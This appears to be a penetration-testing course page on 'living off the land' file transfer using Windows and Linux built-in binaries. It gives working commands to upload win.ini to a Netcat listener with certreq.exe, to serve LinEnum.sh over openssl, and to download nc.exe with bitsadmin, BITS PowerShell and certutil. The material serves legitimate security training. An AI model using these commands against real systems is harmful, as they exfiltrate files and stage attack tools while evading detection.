Living off the Land

Related Sites:

• GTFOBins

• Living Off The Land Binaries, Scripts and Libraries

• Background Intelligent Transfer Service

Using the LOLBAS and GTFOBins Project

---

LOLBAS for Windows and GTFOBins for Linux are websites where we can search for binaries we can use for different functions.

LOLBAS

To search for download and upload functions in LOLBAS we can use /download or /upload.

Let's use CertReq.exe as an example.

We need to listen on a port on our attack host for incoming traffic using Netcat and then execute certreq.exe to upload a file.

Upload win.ini to our Pwnbox

C:\htb> certreq.exe -Post -config http://192.168.49.128:8000/ c:\windows\win.ini
Certificate Request Processor: The operation timed out 0x80072ee2 (WinHttp: 12002 ERROR_WINHTTP_TIMEOUT)

This will send the file to our Netcat session, and we can copy-paste its contents.

File Received in our Netcat Session

$ sudo nc -lvnp 8000

listening on [any] 8000 ...
connect to [192.168.49.128] from (UNKNOWN) [192.168.49.1] 53819
POST / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: application/json
User-Agent: Mozilla/4.0 (compatible; Win32; NDES client 10.0.19041.1466/vb_release_svc_prod1)
Content-Length: 92
Host: 192.168.49.128:8000

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

If you get an error when running certreq.exe, the version you are using may not contain the -Post parameter. You can download an updated version here and try again.

GTFOBins

To search for the download and upload function in GTFOBins for Linux Binaries, we can use +file download or +file upload.

Let's use OpenSSL. It's frequently installed and often included in other software distributions, with sysadmins using it to generate security certificates, among other tasks. OpenSSL can be used to send files "nc style."

We need to create a certificate and start a server in our Pwnbox.

Create Certificate in our Pwnbox

$ openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem

Generating a RSA private key
.......................................................................................................+++++
................+++++
writing new private key to 'key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:

Stand up the Server in our Pwnbox

$ openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh

Next, with the server running, we need to download the file from the compromised machine.

Download File from the Compromised Machine

$ openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh

Other Common Living off the Land tools

Bitsadmin Download function

The Background Intelligent Transfer Service (BITS) can be used to download files from HTTP sites and SMB shares. It "intelligently" checks host and network utilization into account to minimize the impact on a user's foreground work.

File Download with Bitsadmin

PS C:\htb> bitsadmin /transfer wcb /priority foreground http://10.10.15.66:8000/nc.exe C:\Users\htb-student\Desktop\nc.exe

PowerShell also enables interaction with BITS, enables file downloads and uploads, supports credentials, and can use specified proxy servers.

Download

PS C:\htb> Import-Module bitstransfer; Start-BitsTransfer -Source "http://10.10.10.32:8000/nc.exe" -Destination "C:\Windows\Temp\nc.exe"

Certutil

It is available in all Windows versions and has been a popular file transfer technique, serving as a defacto wget for Windows. However, the Antimalware Scan Interface (AMSI) currently detects this as malicious Certutil usage.

Download a File with Certutil

certutil.exe -verifyctl -split -f http://10.10.10.32:8000/nc.exe

Certutil.exe -urlcache -f http://10.10.10.10/file.txt file.txt